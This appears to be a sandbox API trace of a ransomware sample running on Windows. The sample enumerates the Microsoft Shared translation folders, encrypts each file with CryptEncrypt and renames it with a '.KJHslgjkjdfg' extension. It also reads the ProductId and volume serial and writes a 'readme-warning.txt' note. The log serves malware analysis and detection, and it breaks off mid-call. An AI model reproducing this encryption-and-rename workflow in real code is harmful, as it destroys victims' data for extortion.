[0151.500] GetProcessHeap () returned 0x2a0000 [0151.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.500] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0151.500] GetProcessHeap () returned 0x2a0000 [0151.500] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.501] GetProcessHeap () returned 0x2a0000 [0151.501] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.501] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.501] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0151.501] GetProcessHeap () returned 0x2a0000 [0151.501] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0151.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.501] GetProcessHeap () returned 0x2a0000 [0151.502] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.502] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.502] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.502] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0151.505] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.505] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.505] GetProcessHeap () returned 0x2a0000 [0151.505] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.505] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.505] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.505] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.505] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.505] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.505] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.505] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.505] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.506] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.506] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.506] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.506] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe64da, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe64da, lpOverlapped=0x0) returned 1 [0151.525] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe64e0, dwBufLen=0xe64e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe64e0) returned 1 [0151.536] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.536] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe64e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe64e0, lpOverlapped=0x0) returned 1 [0151.540] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe65b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.540] SetEndOfFile (hFile=0x118) returned 1 [0151.544] GetProcessHeap () returned 0x2a0000 [0151.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.544] GetProcessHeap () returned 0x2a0000 [0151.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.kjhslgjkjdfg")) returned 1 [0151.545] CloseHandle (hObject=0x118) returned 1 [0151.545] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0151.545] GetProcessHeap () returned 0x2a0000 [0151.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.546] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.546] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.546] GetProcessHeap () returned 0x2a0000 [0151.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.546] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.546] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.546] GetProcessHeap () returned 0x2a0000 [0151.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0151.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.546] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0151.546] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.546] GetProcessHeap () returned 0x2a0000 [0151.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.546] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.546] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.546] GetProcessHeap () returned 0x2a0000 [0151.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.546] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.546] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.547] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.547] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.547] RegCloseKey (hKey=0x118) returned 0x0 [0151.547] GetProcessHeap () returned 0x2a0000 [0151.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.547] GetProcessHeap () returned 0x2a0000 [0151.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.547] GetProcessHeap () returned 0x2a0000 [0151.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.547] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.547] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.547] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.547] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.547] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.548] GetProcessHeap () returned 0x2a0000 [0151.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.548] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.548] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.548] GetProcessHeap () returned 0x2a0000 [0151.548] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0151.548] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\readme-warning.txt") returned 79 [0151.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.548] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.550] CloseHandle (hObject=0x118) returned 1 [0151.550] GetProcessHeap () returned 0x2a0000 [0151.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0151.550] GetProcessHeap () returned 0x2a0000 [0151.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0151.551] GetProcessHeap () returned 0x2a0000 [0151.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.551] GetProcessHeap () returned 0x2a0000 [0151.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.551] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.551] GetProcessHeap () returned 0x2a0000 [0151.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.551] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0151.551] GetProcessHeap () returned 0x2a0000 [0151.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.551] GetProcessHeap () returned 0x2a0000 [0151.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.552] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.552] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0151.552] GetProcessHeap () returned 0x2a0000 [0151.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0151.552] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0151.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.552] GetProcessHeap () returned 0x2a0000 [0151.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.552] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.552] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.552] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0151.555] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.555] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.555] GetProcessHeap () returned 0x2a0000 [0151.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.555] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.555] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.555] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.555] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.555] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.555] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.556] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.556] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.556] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.556] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.556] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xff7f2, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xff7f2, lpOverlapped=0x0) returned 1 [0151.576] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xff800, dwBufLen=0xff800 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xff800) returned 1 [0151.589] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.589] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xff800, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xff800, lpOverlapped=0x0) returned 1 [0151.592] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.592] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xff8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.592] SetEndOfFile (hFile=0x118) returned 1 [0151.597] GetProcessHeap () returned 0x2a0000 [0151.597] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.597] GetProcessHeap () returned 0x2a0000 [0151.597] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.kjhslgjkjdfg")) returned 1 [0151.598] CloseHandle (hObject=0x118) returned 1 [0151.599] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0151.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 